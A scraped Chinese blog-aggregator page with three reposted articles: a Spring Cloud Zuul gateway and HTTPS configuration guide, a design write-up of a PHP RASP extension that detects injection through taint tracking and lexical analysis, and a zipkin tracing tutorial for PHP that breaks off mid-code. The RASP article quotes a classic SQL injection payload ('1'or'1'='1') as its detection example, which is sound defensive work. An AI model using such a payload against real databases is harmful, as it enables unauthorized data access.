客户端可以直接向每个微服务发送请求,其问题主要如下:

  • 一个问题是客户端需求和每个微服务暴露的细粒度API不匹配。
  • 客户端直接调用微服务的另一个问题是,部分服务使用的协议不是Web友好协议。一个服务可能使用Thrift二进制RPC,而另一个服务可能使用AMQP消息传递协议。不管哪种协议都不是浏览器友好或防火墙友好的,最好是内部使用。在防火墙之外,应用程序应该使用诸如HTTP和WebSocket之类的协议。
  • 最后,这会使得微服务难以重构。随着时间推移,我们可能想要更改系统划分成服务的方式。例如,我们可能合并两个服务,或者将一个服务拆分成两个或更多服务。然而,如果客户端与微服务直接通信,那么执行这类重构就非常困难了。

一个更好的方法是使用所谓的API网关。API网关是一个服务器,是系统的唯一入口。从面向对象设计的角度看,它与外观模式类似。API网关封装了系统内部架构,为每个客户端提供一个定制的API。它可能还具有其它职责,如身份验证、监控、负载均衡、限流、降级与应用检测。

zu

zuul

API网关负责服务请求路由、组合及协议转换。客户端的所有请求都首先经过API网关,然后由它将请求路由到合适的微服务。API网管经常会通过调用多个微服务并合并结果来处理一个请求。它可以在Web协议(如HTTP与WebSocket)与内部使用的非Web友好协议之间转换。

API网关还能为每个客户端提供一个定制的API。通常,它会向移动客户端暴露一个粗粒度的API。例如,考虑下产品详情的场景。API网关可以提供一个端点(/productdetails?productid=xxx),使移动客户端可以通过一个请求获取所有的产品详情。API网关通过调用各个服务(产品信息、推荐、评论等等)并合并结果来处理请求。

  1. zuul网关

API Gateway,常见的选型有基于 Openresty 的 Kong和基于 JVM 的 Zuul,其他还有基于Go的Tyk。技术选型上,之前稍微调研了Kong,性能还可以。考虑到快速应用和二次开发,netflix-zuul也在Spring Cloud的全家桶中,和其他组件配合使用还挺方便,后期可能还会对网关的功能进行扩增,最后选了Zuul。

2.1 pom配置

1
2
3
4
5
6
7
8
9
10
复制代码<dependencies>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-zuul</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-consul-discovery</artifactId>
</dependency>
</dependencies>

在Spring Cloud的项目中,引入zuul的starter,consul-discovery是为了服务的动态路由,这边没有用eureka,是通过注册到consul上的服务实例进行路由。

2.2 入口类

1
2
3
4
5
6
7
复制代码@SpringBootApplication
@EnableZuulProxy
public class GatewayApplication {
public static void main(String[] args) {
SpringApplication.run(GatewayApplication.class, args);
}
}

Spring boot的入口类需要加上@EnableZuulProxy,下面看下这个注解。

1
2
3
4
5
6
7
复制代码@EnableCircuitBreaker
@EnableDiscoveryClient
@Target({ElementType.TYPE})
@Retention(RetentionPolicy.RUNTIME)
@Import({ZuulProxyConfiguration.class})
public @interface EnableZuulProxy {
}

可以看到该注解还包含了@EnableCircuitBreaker 和 @EnableDiscoveryClient。@EnableDiscoveryClient注解在服务启动的时候,可以触发服务注册的过程,向配置文件中指定的服务注册中心;@EnableCircuitBreaker则开启了Hystrix的断路器。

2.3 bootstrap.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
复制代码server:
port: 10101

#spring config
spring:
application:
name: gateway-server
cloud:
consul:
discovery:
preferIpAddress: true
enabled: true
register: true
service-name: api-getway
ip-address: localhost
port: ${server.port}
lifecycle:
enabled: true
scheme: http
prefer-agent-address: false
host: localhost
port: 8500
#zuul config and routes
zuul:
host:
maxTotalConnections: 500
maxPerRouteConnections: 50
routes:
user:
path: /user/**
ignoredPatterns: /consul
serviceId: user
sensitiveHeaders: Cookie,Set-Cookie

配置主要包括三块,服务端口,Spring Cloud服务注册,最后是zuul的路由配置。

默认情况下,Zuul在请求路由时,会过滤HTTP请求头信息中的一些敏感信息,默认的敏感头信息通过zuul.sensitiveHeaders定义,包括Cookie、Set-Cookie、Authorization。

zuul.host.maxTotalConnections配置了每个服务的http客户端连接池最大连接,默认值是200。maxPerRouteConnections每个route可用的最大连接数,默认值是20。

2.3 支持https

上线的项目一般域名都会改为https协议,顺手写下https的配置。

  • 首先申请https的数字证书
    在阿里云生成的针对tomcat服务器CA证书在申请成功后, 下载相应的tomcat证书文件。 包含如下:
    1): .pfx为keystore文件,服务器用的就是这个文件
    2): pfx-password.txt里包含有keystore所用到的密码
    3): .key里面包含的是私钥,暂时没用到此文件
    4): *.pem里面包含的是公钥,主要给客户端
  • bootstrap.yml增加如下配置
1
2
3
4
5
6
7
8
9
复制代码# https
server:
port: 5443
http: 10101
ssl:
enabled: true
key-store: classpath:214329585620980.pfx
key-store-password: password
keyStoreType: PKCS12
  • 同时支持http和https
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
复制代码@Bean
public EmbeddedServletContainerFactory servletContainer() {
TomcatEmbeddedServletContainerFactory tomcat = new TomcatEmbeddedServletContainerFactory() {
@Override
protected void postProcessContext(Context context) {
SecurityConstraint constraint = new SecurityConstraint();
constraint.setUserConstraint("CONFIDENTIAL");
SecurityCollection collection = new SecurityCollection();
collection.addPattern("");
constraint.addCollection(collection);
context.addConstraint(constraint);
}
};
tomcat.addAdditionalTomcatConnectors(httpConnector());
return tomcat;
}
@Bean
public Connector httpConnector() {
Connector connector = new Connector("org.apache.coyote.http11.Http11NioProtocol");
connector.setScheme("http");
//Connector监听的http的端口号
connector.setPort(httpPort);
connector.setSecure(false);
//监听到http的端口号后转向到的https的端口号
connector.setRedirectPort(securePort);
return connector;
}

servletContainer()把EmbeddedServletContainerFactory注入到web容器中,用postProcessContext拦截所有的/*请求,并把其关联到下面的httpConnector中。最后,在httpConnector()中,把http设为10101端口,并把http的请求跳转到5443的https端口,这边是读取的配置文件。

至此,至此同时支持https和http的API网关完成,将匹配到/user的请求,路由到user服务,是不是很简单?下面一起深入了解下Zuul。

  1. 一些internals

internals可以理解为内幕。

3.1 过滤器

filter是Zuul的核心,用来实现对外服务的控制。filter的生命周期有4个,分别是pre、route、post、error,整个生命周期可以用下图来表示。

filter

zuul过滤器

一个请求会先按顺序通过所有的前置过滤器,之后在路由过滤器中转发给后端应用,得到响应后又会通过所有的后置过滤器,最后响应给客户端。error可以在所有阶段捕获异常后执行。

一般来说,如果需要在请求到达后端应用前就进行处理的话,会选择前置过滤器,例如鉴权、请求转发、增加请求参数等行为。后面衔接auth系统部分给出具体实现,也是基于pre过滤。

在请求完成后需要处理的操作放在后置过滤器中完成,例如统计返回值和调用时间、记录日志、增加跨域头等行为。路由过滤器一般只需要选择 Zuul 中内置的即可。

错误过滤器一般只需要一个,这样可以在 Gateway 遇到错误逻辑时直接抛出异常中断流程,并直接统一处理返回结果。

3.2 配置管理

后端服务 API可能根据情况,有些不需要登录校验了,这个配置信息怎么动态加载到网关配置当中?笔者认为有两种方式:一是配置信息存到库中,定期实现对网关服务的配置刷新;另一种就是基于配置中心服务,当配置提交到配置中心时,触发网关服务的热更新。

后端应用无关的配置,有些是自动化的,例如恶意请求拦截,Gateway 会将所有请求的信息通过消息队列发送给一些实时数据分析的应用,这些应用会对请求分析,发现恶意请求的特征,并通过 Gateway 提供的接口将这些特征上报给 Gateway,Gateway 就可以实时的对这些恶意请求进行拦截。

3.3 隔离机制

在微服务的模式下,应用之间的联系变得没那么强烈,理想中任何一个应用超过负载或是挂掉了,都不应该去影响到其他应用。但是在 Gateway 这个层面,有没有可能出现一个应用负载过重,导致将整个 Gateway 都压垮了,已致所有应用的流量入口都被切断?

这当然是有可能的,想象一个每秒会接受很多请求的应用,在正常情况下这些请求可能在 10 毫秒之内就能正常响应,但是如果有一天它出了问题,所有请求都会 Block 到 30 秒超时才会断开(例如频繁 Full GC 无法有效释放内存)。那么在这个时候,Gateway 中也会有大量的线程在等待请求的响应,最终会吃光所有线程,导致其他正常应用的请求也受到影响。

在 Zuul 中,每一个后端应用都称为一个 Route,为了避免一个 Route 抢占了太多资源影响到其他 Route 的情况出现,Zuul 使用 Hystrix 对每一个 Route 都做了隔离和限流。

Hystrix 的隔离策略有两种,基于线程或是基于信号量。Zuul 默认的是基于线程的隔离机制,之前章节的配置可以回顾下,这意味着每一个 Route 的请求都会在一个固定大小且独立的线程池中执行,这样即使其中一个 Route 出现了问题,也只会是某一个线程池发生了阻塞,其他 Route 不会受到影响。

一般使用 Hystrix 时,只有调用量巨大会受到线程开销影响时才会使用信号量进行隔离策略,对于 Zuul 这种网络请求的用途使用线程隔离更加稳妥。

3.4 重试机制

一般来说,后端应用的健康状态是不稳定的,应用列表随时会有修改,所以 Gateway 必须有足够好的容错机制,能够减少后端应用变更时造成的影响。

简单介绍下 Ribbon 支持哪些容错配置。重试的场景分为三种:

  • okToRetryOnConnectErrors:只重试网络错误
  • okToRetryOnAllErrors:重试所有错误
  • OkToRetryOnAllOperations:重试所有操作

重试的次数有两种:

  • MaxAutoRetries:每个节点的最大重试次数
  • MaxAutoRetriesNextServer:更换节点重试的最大次数

一般来说我们希望只在网络连接失败时进行重试、或是对 5XX 的 GET 请求进行重试(不推荐对 POST 请求进行重试,无法保证幂等性会造成数据不一致)。单台的重试次数可以尽量小一些,重试的节点数尽量多一些,整体效果会更好。

如果有更加复杂的重试场景,例如需要对特定的某些 API、特定的返回值进行重试,那么也可以通过实现 RequestSpecificRetryHandler 定制逻辑(不建议直接使用 RetryHandler,因为这个子类可以使用很多已有的功能)。

  1. 总结

本文首先介绍了API网关的相关知识;其次介绍了zuul网关的配置实现,同时支持https;最后介绍了zuul网关的一些内幕原理,这边大部分参考了网上的文章。网关作为内网与外网之间的门户,所有访问内网的请求都会经过网关,网关处进行反向代理。在整个Spring Cloud微服务框架里,Zuul扮演着”智能网关“的角色。

gitee: gitee.com/keets/sprin…
github: github.com/keets2012/S…


参考

  1. 聊聊 API Gateway 和 Netflix Zuul
  2. Spring Cloud技术分析(4)- spring cloud zuul
  3. netflix-zuul

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

一类PHP RASP实现

发表于 2017-11-13

作者:c0d3p1ut0s & s1m0n

RASP概念

RASP(Runtime Application self-protection)是一种在运行时检测攻击并且进行自我保护的一种技术。早在2012年,Gartner就开始关注RASP,惠普、WhiteHat Security等多家国外安全公司陆续推出RASP产品,时至今日,惠普企业的软件部门出售给了Micro Focus,RASP产品Application Defender随之易主。而在国内,去年知道创宇KCon大会兵器谱展示了JavaRASP,前一段时间,百度开源了OpenRASP,去年年底,360的0kee团队开始测试Skywolf,虽然没有看到源码和文档,但它的设计思路或许跟RASP类似。而商业化的RASP产品有OneAPM的OneRASP和青藤云的自适应安全产品。在国内,这两家做商业化RASP产品做得比较早。

那么RASP到底是什么呢?它到底是怎样工作的呢?

我的WAF世界观

为了表述方便,暂且把RASP归为WAF的一类。从WAF所在的拓扑结构,可以简单将WAF分为如下三类,如下图所示:

  • 以阿里云为代表的云WAF以中间人的形式,在HTTP请求到达目标服务器之前进行检查拦截。
  • 以ModSecurity为代表的传统WAF在HTTP请求到达HTTP服务器后,被Web后端容器解释/执行之前检查拦截HTTP请求。
  • RASP工作在Web后端解释器/编译器中,在漏洞代码执行前阻断执行流。

从上图中WAF所处的位置可以看出,云WAF和传统WAF的检查拦截HTTP请求的主要依据是HTTP Request,其实,如果站在一个非安全从业者的角度来看,这种检测方式是奇怪的。我们可以把Web服务看做是一个接受输入-处理-输出结果的程序,那么它的输入是HTTP请求,它的输出是HTTP响应。靠检测一个程序的输入和输出来判断这个程序的运行过程是否有害,这不奇怪吗?然而它又是可行且有效的,大多数的Web攻击都能从HTTP请求中找到蛛丝马迹。这种检测思路是云WAF和传统WAF能有效工作的原因,也是它们的缺点。

笔者一直认为,问题发生的地方是监控问题、解决问题的最好位置。Web攻击发生在Web后端代码执行时,最好的防护方法就是在Web后端代码执行之前推测可能发生的问题,然后阻断代码的执行。这里的推测并没有这么难,就好像云WAF在检查包含攻击payload的HTTP请求时推测它会危害Web服务一样。这就是RASP的设计思路。

好了,上面谈了一下笔者个人的一些看法,下面开始谈一谈PHP RASP的实现。

RASP在后端代码运行时做安全监测,但又不侵入后端代码,就得切入Web后端解释器。以Java为例,Java支持以JavaAgent的方式,在class文件加载时修改字节码,在关键位置插入安全检查代码,实现RASP功能。同样,PHP也支持对PHP内核做类似的操作,PHP支持PHP扩展,实现这方面的需求。你可能对JavaAgent和PHP扩展比较陌生,实际上,在开发过程中,JavaAgent和PHP扩展与你接触的次数比你意识到的多得多。

PHP扩展简介

有必要介绍一下PHP解释的简单工作流程,根据PHP解释器所处的环境不同,PHP有不同的工作模式,例如常驻CGI,命令行、Web Server模块、通用网关接口等多个模式。在不同的模式下,PHP解释器以不同的方式运行,包括单线程、多线程、多进程等。

为了满足不同的工作模式,PHP开发者设计了Server API即SAPI来抹平这些差异,方便PHP内部与外部进行通信。

虽然PHP运行模式各不相同,但是,PHP的任何扩展模块,都会依次执行模块初始化(MINIT)、请求初始化(RINIT)、请求结束(RSHUTDOWN)、模块结束(MSHUTDOWN)四个过程。如下图所示:

在PHP实例启动时,PHP解释器会依次加载每个PHP扩展模块,调用每个扩展模块的MINIT函数,初始化该模块。当HTTP请求来临时,PHP解释器会调用每个扩展模块的RINIT函数,请求处理完毕时,PHP会启动回收程序,倒序调用各个模块的RSHUTDOWN方法,一个HTTP请求处理就此完成。由于PHP解释器运行的方式不同,RINIT-RSHUTDOWN这个过程重复的次数也不同。当PHP解释器运行结束时,PHP调用每个MSHUTDOWN函数,结束生命周期。

PHP核心由两部分组成,一部分是PHP core,主要负责请求管理,文件和网络操作,另一部分是Zend引擎,Zend引擎负责编译和执行,以及内存资源的分配。Zend引擎将PHP源代码进行词法分析和语法分析之后,生成抽象语法树,然后编译成Zend字节码,即Zend opcode。即PHP源码->AST->opcode。opcode就是Zend虚拟机中的指令。使用VLD扩展可以看到Zend opcode,这个扩展读者应该比较熟悉了。下面代码的opcode如图所示

1
2
3
4
5
复制代码<?php
$a=1;
$b=2;
print $a+$b;
>

Zend引擎的所有opcode在php.net/manual/en/i… 中可以查到,在PHP的内部实现中,每一个opcode都由一个函数具体实现,opcode数据结构如下

1
2
3
4
5
6
7
8
9
复制代码struct _zend_op {
opcode_handler_t handler;//执行opcode时调用的处理函数
znode result;
znode op1;
znode op2;
ulong extended_value;
uint lineno;
zend_uchar opcode;
};

如结构体所示,具体实现函数的指针保存在类型为opcode_handler_t的handler中。

设计思路

PHP RASP的设计思路很直接,安全圈有一句名言叫一切输入都是有害的,我们就跟踪这些有害变量,看它们是否对系统造成了危害。我们跟踪了HTTP请求中的所有参数、HTTP Header等一切client端可控的变量,随着这些变量被使用、被复制,信息随之流动,我们也跟踪了这些信息的流动。我们还选取了一些敏感函数,这些函数都是引发漏洞的函数,例如require函数能引发文件包含漏洞,mysqli->query方法能引发SQL注入漏洞。简单来说,这些函数都是大家在代码审计时关注的函数。我们利用某些方法为这些函数添加安全检查代码。当跟踪的信息流流入敏感函数时,触发安全检查代码,如果通过安全检查,开始执行敏感函数,如果没通过安全检查,阻断执行,通过SAPI向HTTP
Server发送403 Forbidden信息。当然,这一切都在PHP代码运行过程中完成。

这里主要有两个技术问题,一个是如何跟踪信息流,另一个是如何安全检查到底是怎样实现的。

我们使用了两个技术思路来解决两个问题,第一个是动态污点跟踪,另一个是基于词法分析的漏洞检测。

动态污点跟踪

对PHP内核有一些了解的人应该都知道鸟哥,鸟哥有一个项目taint,做的就是动态污点跟踪。动态污点跟踪技术在白盒的调试和分析中应用比较广泛。它的主要思路就是先认定一些数据源是可能有害的,被污染的,在这里,我们认为所有的HTTP输入都是被污染的,所有的HTTP输入都是污染源。随着这些被污染变量的复制、拼接等一系列操作,其他变量也会被污染,污染会扩大,这就是污染的传播。这些经过污染的变量作为参数传入敏感函数以后,可能导致安全问题,这些敏感函数就是沉降点。

做动态污点跟踪主要是定好污染源、污染传播策略和沉降点。在PHP RASP中,污染源和沉降点显而易见,而污染传播策略的制定影响对RASP的准确性有很大的影响。传播策略过于严格会导致漏报,传播策略过于宽松会增加系统开销。PHP RASP的污染传播策略是变量的复制、赋值和大部分的字符串处理等操作传播污染。

动态污点跟踪的一个小小好处是如果一些敏感函数的参数没有被污染,那么我们就无需对它进行安全检查。当然,这只是它的副产物,它的大作用在漏洞检测方面。

动态污点跟踪的实现比较复杂,有兴趣的可以去看看鸟哥的taint,鸟哥的taint也是以PHP扩展的方式做动态污点跟踪。PHP RASP中,这部分是基于鸟哥的taint修改、线程安全优化、适配不同PHP版本实现的。在发行过程中,我们也将遵守taint的License。

在PHP解释器中,全局变量都保存在一个HashTable类型的符号表symbol_table中,包括预定义变量$GLOBALS、$_GET、$_POST等。我们利用变量结构体中的flag中未被使用的一位来标识这个变量是否被污染。在RINIT过程中,我们通过这个方法首先将$_GET,$_POST,$_SERVER等数组中的值标记为污染,这样,我们就完成了污染源的标记。

污染的传播过程其实就是hook对应的函数,在PHP中,可以从两个层面hook函数,一是通过修改zend_internal_function的handler来hook PHP中的内部函数,handler指向的函数用C或者C++编写,可以直接执行。zend_internal_function的结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
复制代码//zend_complie.h
typedef struct _zend_internal_function {
/* Common elements */
zend_uchar type;
zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */
uint32_t fn_flags;
zend_string* function_name;
zend_class_entry *scope;
zend_function *prototype;
uint32_t num_args;
uint32_t required_num_args;
zend_internal_arg_info *arg_info;
/* END of common elements */

void (*handler)(INTERNAL_FUNCTION_PARAMETERS); //函数指针,展开:void (*handler)(zend_execute_data *execute_data, zval *return_value)
struct _zend_module_entry *module;
void *reserved[ZEND_MAX_RESERVED_RESOURCES];
} zend_internal_function;

我们可以通过修改zend_internal_function结构体中handler的指向,待完成我们需要的操作后再调用原来的处理函数即可完成hook。 另一种是hook opcode,需要使用zend提供的API zend_set_user_opcode_handler来修改opcode的handler来实现。

我们在MINIT函数中用这两种方法来hook传播污染的函数,如下图所示

当传播污染的函数被调用时,如果这个函数的参数是被污染的,那么把它的返回值也标记成污染。以hook内部函数str_replace函数为例,hook后的rasp_str_replace如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
复制代码PHP_FUNCTION(rasp_str_replace)
{
zval *str, *from, *len, *repl;
int tainted = 0;

if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "zzz|z", &str, &repl, &from, &len) == FAILURE) {
return;
}//取参

if (IS_STRING == Z_TYPE_P(repl) && PHP_RASP_POSSIBLE(repl)) {
tainted = 1;
} else if (IS_STRING == Z_TYPE_P(from) && PHP_RASP_POSSIBLE(from)) {
tainted = 1;
}//判断

RASP_O_FUNC(str_replace)(INTERNAL_FUNCTION_PARAM_PASSTHRU);//调用原函数执行

if (tainted && IS_STRING == Z_TYPE_P(return_value) && Z_STRLEN_P(return_value)) {
TAINT_MARK(Z_STR_P(return_value));
}//污染标记
}

首先获取参数,判断参数from和repl是否被污染,如果被污染,将返回值标记为污染,这样就完成污染传播过程。

当被污染的变量作为参数被传入关键函数时,触发关键函数的安全检查代码,这里的实现其实跟上面的类似。PHP的中函数调用都是由三个Zend opcode:ZEND_DO_FCALL,ZEND_DO_ICALL 和 ZEND_DO_FCALL_BY_NAME中某一个opcode来进行的。每个函数的调用都会运行这三个 opcode 中的一个。通过劫持三个 opcode来hook函数调用,就能获取调用的函数和参数。这里我们只需要hook opcode,就是上面第二幅图示意的部分,为了让读者更加清晰,我把它复制下来。

如图,在MINIT方法中,我们利用Zend API zend_set_user_opcode_handler来hook这三个opcode,监控敏感函数。在PHP内核中,当一个函数通过上述opcode调用时,Zend引擎会在函数表中查找函数,然后返回一个zend_function类型的指针,zend_function的结构如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
复制代码union _zend_function {
zend_uchar type; /* MUST be the first element of this struct! */

struct {
zend_uchar type; /* never used */
zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */
uint32_t fn_flags;
zend_string *function_name;
zend_class_entry *scope;
union _zend_function *prototype;
uint32_t num_args;
uint32_t required_num_args;
zend_arg_info *arg_info;
} common;

zend_op_array op_array;
zend_internal_function internal_function;
};

其中,common.function_name指向这个函数的函数名,common.scope指向这个方法所在的类,如果一个函数不属于某个类,例如PHP中的fopen函数,那么这个scope的值是null。这样,我们就获取了当前函数的函数名和类名。

以上的行文逻辑是以RASP的角度来看的,先hook opcode和内部函数,来实现动态污点跟踪,然后通过hook函数调用时运行的三个opcode来对监控函数调用。实际上,在PHP内核中,一个函数的调用过程跟以上的行文逻辑是相反的。

当一个函数被调用时,如上文所述,根据这个函数调用的方式不同,例如直接调用或者通过函数名调用,由Zend opcode,ZEND_DO_FCALL,ZEND_DO_ICALL 和 ZEND_DO_FCALL_BY_NAME中的某一个opcode来进行。Zend引擎会在函数表中搜索该函数,返回一个zend_function指针,然后判断zend_function结构体中的type,如果它是内部函数,则通过zend_internal_function.handler来执行这个函数,如果handler已被上述hook方法替换,则调用被修改的handler;如果它不是内部函数,那么这个函数就是用户定义的函数,就调用zend_execute来执行这个函数包含的zend_op_array。

现在我们从RASP的角度和PHP内核中函数执行的角度来看了动态污点跟踪和函数的hook,接下来,我们需要对不同类型的关键函数进行安全检测。

基于词法分析的攻击检测

传统WAF和云WAF在针对HTTP Request检测时有哪些方法呢?常见的有正则匹配、规则打分、机器学习等,那么,处于PHP解释器内部的PHP RASP如何检测攻击呢?

首先,我们可以看PHP RASP可以获取哪些数据作为攻击检测的依据。与其他WAF一样,PHP RASP可以获取HTTP请求的Request。不同的是,它还能获取当前执行函数的函数名和参数,以及哪些参数是被污染的。当然,像传统WAF一样,利用正则表达式来作为规则来匹配被污染的函数参数也是PHP RASP检测的一种方法。不过,对于大多数的漏洞,我们采用的是利用词法分析来检测漏洞。准确的来说,对于大多数代码注入漏洞,我们使用词法分析来检测漏洞。

代码注入漏洞,是指攻击者可以通过HTTP请求将payload注入某种代码中,导致payload被当做代码执行的漏洞。例如SQL注入漏洞,攻击者将SQL注入payload插入SQL语句中,并且被SQL引擎解析成SQL代码,影响原SQL语句的逻辑,形成注入。同样,文件包含漏洞、命令执行漏洞、代码执行漏洞的原理也类似,也可以看做代码注入漏洞。

对于代码注入漏洞,攻击者如果需要成功利用,必须通过注入代码来实现,这些代码一旦被注入,必然修改了代码的语法树的结构。而追根到底,语法树改变的原因是词法分析结果的改变,因此,只需要对代码部分做词法分析,判断HTTP请求中的输入是否在词法分析的结果中占据了多个token,就可以判断是否形成了代码注入。

在PHP RASP中,我们通过编写有限状态机来完成词法分析。有限状态机分为确定有限状态机DFA和非确定有限状态机NFA,大多数的词法分析器,例如lex生成的词法分析器,都使用DFA,,因为它简单、快速、易实现。同样,在PHP RASP中,我们也使用DFA来做词法分析。

词法分析的核心是有限状态机,而有限状态机的构建过程比较繁琐,在此不赘述,与编译器中的词法分析不同的是,PHP RASP中词法分析的规则并不一定与这门语言的词法定义一致,因为词法分析器的输出并不需要作为语法分析器的输入来构造语法树,甚至有的时候不必区分该语言的保留字与变量名。

在经过词法分析之后,我们可以得到一串token,每个token都反映了对应的代码片段的性质,以SQL语句

1
复制代码select username from users where id='1'or'1'='1'

为例,它对应的token串如下

1
2
3
4
5
6
7
8
9
10
11
12
复制代码select <reserve word>
username <identifier>
from <reserve word>
users <identifier>
where <reserve word>
id <identifier>
= <sign>
'1' <string>
or <reserve word>
'1' <string>
= <sign>
'1' <string>

而如果这个SQL语句是被污染的(只有SQL语句被污染才会进入安全监测这一步),而且HTTP请求中某个参数的值是1’or’1’=’1,对比上述token串可以发现,HTTP请求中参数横跨了多个token,这很可能是SQL注入攻击。那么,PHP RASP会将这条HTTP请求判定成攻击,直接阻止执行SQL语句的函数继续运行。如果上述两个条件任一不成立,则通过安全检查,执行SQL语句的函数继续运行。这样就完成了一次HTTP请求的安全检查。其他代码注入类似,当然,不同的代码注入使用的DFA是不一样的,命令注入的DFA是基于shell语法构建的,文件包含的DFA是基于文件路径的词法构建的。

在开发过程中有几个问题需要注意,一个是\0的问题,在C语言中,\0代表一个字符串的结束,因此,在做词法分析或者其他字符串操作过程中,需要重新封装字符串,重写一些字符串的处理函数,否则攻击者可能通过\0截断字符串,绕过RASP的安全检查。

另一个问题是有限状态自动机的DoS问题。在一些非确定有限状态机中,如果这个自动机不接受某个输入,那么需要否定所有的可能性,而这个过程的复杂度可能是2^n。比较常见的例子是正则表达式DoS。在这里不做深入展开,有兴趣的朋友可以多了解一下。

讨论

在做完这个RASP之后,我们回头来看看,一些问题值得我们思考和讨论。

RASP有哪些优点呢?作为纵深防御中的一层,它加深了纵深防御的维度,在Web请求发生时,从HTTP Server、Web解释器/编译器到数据库,甚至是操作系统,每一层都有自己的职责,每一层也都是防护攻击的阵地,每一层也都有对应的安全产品,每一层的防护侧重点也都不同。

RASP还有一些比较明显的优点,一是对规则依赖很低,如果使用词法分析做安全检测的话基本不需要维护规则。二是减少了HTTP Server这层攻击面,绕过比较困难,绝大多数基于HTTP Server特性的绕过对RASP无效。例如HPP、HPF、畸形HTTP请求、各种编码、拆分关键字降低评分等。三是误报率比较低。从比较理想的角度来说,如果我的后端代码写得非常安全,WAF看到一个包含攻击payload的请求就拦截,这也属于误报吧。

RASP的缺点也很明显,一是部署问题,需要在每个服务器上部署。二是无法像云WAF这样,可以通过机器学习进化检验规则。三是对服务器性能有影响,但是影响不大。根据我们对PHP RASP做的性能测试结果来看,一般来说,处理一个HTTP请求所消耗的性能中,PHP RASP消耗的占3%左右。

其实,跳出RASP,动态污点跟踪和hook这套技术方案在能做的事情很多,比如性能监控、自动化Fuzz、入侵检测系统、Webshell识别等等。如果各位有什么想法,欢迎和我们交流。

参考文献

  • 鸟哥taint github.com/laruence/ta…
  • Thinking In PHP Internals
  • php.net
  • PHP Complier Internals
  • 自动机理论、语言和计算导论

关于作者

两位作者水平有限,如文章有错误疏漏,或者有任何想讨论交流的,请随时联系

  • c0d3p1ut0s c0d3p1ut0s@gmail.com
  • s1m0n simonfoxcat@gmail.com

License

在PHP RASP中,我们使用了一部分taint和PHP内核的代码。两者的License都是PHP License。因此,在软件发行过程中,我们将遵守PHP License的相关限制。


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:paper.seebug.org/449/

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

zipkin原理与对接PHP 理论 PHP对接zipkin

发表于 2017-11-13

之前写过一篇博客介绍分布式调用链trace的设计,今天拿开源项目zipkin为例实践一次,加深对相关概念理解。

理论

zipkin遵从谷歌dapper的设计论文,在这里阅读中文版《Dapper,大规模分布式系统的跟踪系统》。

接着,可以看一下这篇博客,它帮助你快速将dapper中的理论映射到zipkin的实践中去:《分布式跟踪系统(一):Zipkin的背景和设计》。

最后,官方主页其实面面俱到并且简明扼要的说明了zipkin的方方面面,之前阅读的知识点在里面都有正式说明,一定要仔细读完,反复体会:zipkin.io/。

我在这里就不复述zipkin是怎么维护调用链的了,但是下面几个关键概念是我认为很影响理解的,如果你不能理解,那么最好再回头读读文章:

  1. span代表一次RPC调用,关联2个节点,是调用链的一条边。
  2. 1个完整的span,是由client调用方、server被调用方分别提供信息共同拼凑而成的。
  3. 1个完整的span应该包含4个annotation:cs/sr/ss/cr,但是不完整也是可以接受的,例如:
    1. 浏览器发起的span,没有cs与cr。
    2. 向mysql发起的span,没有ss和sr。
  4. span代表一个RPC,那么span的parent span代表上一级RPC,所有span都是RPC而不是节点。

PHP对接zipkin

zipkin服务端无状态,只需要下载一个jar包即可启动,启动多个实例负载均衡也是可以的。

这里用作演示,按照官方指导下载启动一个服务端实例即可,它默认将上报的日志数据保存在内存里:zipkin.io/pages/quick…。

启动zipkin后,浏览器打开http://localhost:9411访问web UI。

zipkin支持HTTP协议上报span,在这个文档中详细描述了各个关键数据结构,以及client和server在上报Span时的字段和注意事项:zipkin.io/zipkin-api/…。

我在github上传了一份测试代码,它的目的并不是封装zipkin客户端,而是基于zipkin的原理以及上报协议来模拟一个调用链场景,从而可以在zipkin的web UI上可以看到可视化的效果,并且更重要的是可以看到zipkin是如何保存我们上报的span数据来满足各种trace查询需求的。

代码讲解

我模拟的场景是这样的:浏览器访问了a.service.com/method_of_a,在这个方法里先RPC调用b.service.com/method_of_b接口,然后再调用mysql.service.com执行一次mysql查询。

在命令行执行client.php,可以在web UI上看到如下效果。

在这个页面中,可以搜索到所有annotation中endpoint出现过a.service.com的span,也就是说:

  • 可能span是a.service.com被调用
  • 可能span是a.service.com发起调用他人

当点击第一个项时,会根据span所属的traceid得到整个调用链的完整时间轴和调用关系,也就是traceid下所有span。

从这张图可以看出,a.service.com先后调用了b.service.com和mysql.service.com,分别花费了一些时间,最后返回给浏览器之间自己处理又花费了一段时间。

接下来说说这里面有几个span。

span1

浏览器调用a.service.com是一个RPC,应该对应一个span。client是浏览器,server是a.service.com,但是浏览器并没有调用链上报的功能,所以无法收集到cs和cr两个关键信息。

但是为了描述出a.service.com处理这个RPC的server端状态,a.service.com可以生成一个traceid,并且为这个RPC生成一个spanid与span对象,这样这条来自系统外部的RPC就有了span记录了。

当a.service.com收到请求时,可以给这个server-side span打上sr,再处理完请求后可以打上ss,上报给zipkin。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
复制代码// 该rpc上游是浏览器,没有trace信息,所以生成server-side span记录本服务的处理时间
$srTimestamp = timestamp();
 
$span1 = [
    "traceId" => idAlloc(),
    "name" => "/method_of_a",
    "id" => idAlloc(),
    "kind" => "SERVER",
    "timestamp" => timestamp(),
    "duration" => 0,
    "debug" => true,
    "shared" => false,
    "localEndpoint" => [
        "serviceName" => "a.service.com",
        "ipv4" => "192.168.1.100",
        "port" => 80,
    ],
    "annotations" => [
        [
            "timestamp" => timestamp(), // 收到浏览器调用的时间
